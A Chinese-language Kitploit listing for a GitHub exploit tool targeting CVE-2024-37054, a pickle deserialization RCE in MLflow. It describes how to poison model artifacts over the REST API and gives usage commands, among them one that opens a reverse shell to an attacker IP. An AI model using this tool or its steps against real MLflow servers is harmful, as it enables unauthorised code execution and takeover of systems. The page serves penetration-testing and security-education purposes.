Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-37054 — CVE-2024-37054 漏洞利用和文档 | Kitploit
工具/GitHubGitHub/tristanqtn/cve-2024-37054
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubtristanqtn/cve-2024-37054

CVE-2024-37054

CVE-2024-37054 漏洞利用和文档

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-37054 — MLflow pyfunc 反序列化 RCE

严重性: 严重
受影响版本: MLflow 0.9.0 – 2.14.1
类型: 通过 Python pickle 反序列化实现任意代码执行

描述

mlflow.pyfunc.load_model() 从工件存储中反序列化 python_model.pkl 且不带任何清理。能够访问 MLflow 工件 REST API 的攻击者可以用恶意 pickle 覆盖该文件,从而在下次加载模型时执行任意操作系统命令。

要求

root@kitploit:~
pip install requests cloudpickle

用法

root@kitploit:~
# 枚举已注册的模型
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  list

# 显式指定模型 + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
  --user admin --pass secret \
  revshell 10.10.16.1 4444

关键选项

工作原理

  1. 发现 — 查询 /api/2.0/mlflow/registered-models/search 以找到模型及其 run_id / experiment_id
  2. 投毒 — 将恶意 cloudpickle 载荷 PUT 到 /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pkl
  3. 触发 — 任何调用该模型的 mlflow.pyfunc.load_model() 的代码路径都会反序列化该 payload 并执行命令

触发步骤需要一个加载模型的应用端点。如果不知道任何端点,请使用 --no-trigger(或省略 --trigger-url),并通过任何可用方式触发加载。

免责声明

仅用于授权的渗透测试和教育目的。

下载工具
标志描述
--mlflow URLMLflow 跟踪服务器基础 URL(必需)
--model NAME已注册的模型名称 — 省略时自动选择第一个
--version N模型版本 — 默认为最新
--user / --pass用于 MLflow 的 HTTP Basic Auth 凭据
--run-id / --exp-id使用已知 ID 绕过模型发现
--trigger-url URL调用 load_model() 的应用端点 — 省略则仅上传
--session COOKIE随触发请求发送的会话 Cookie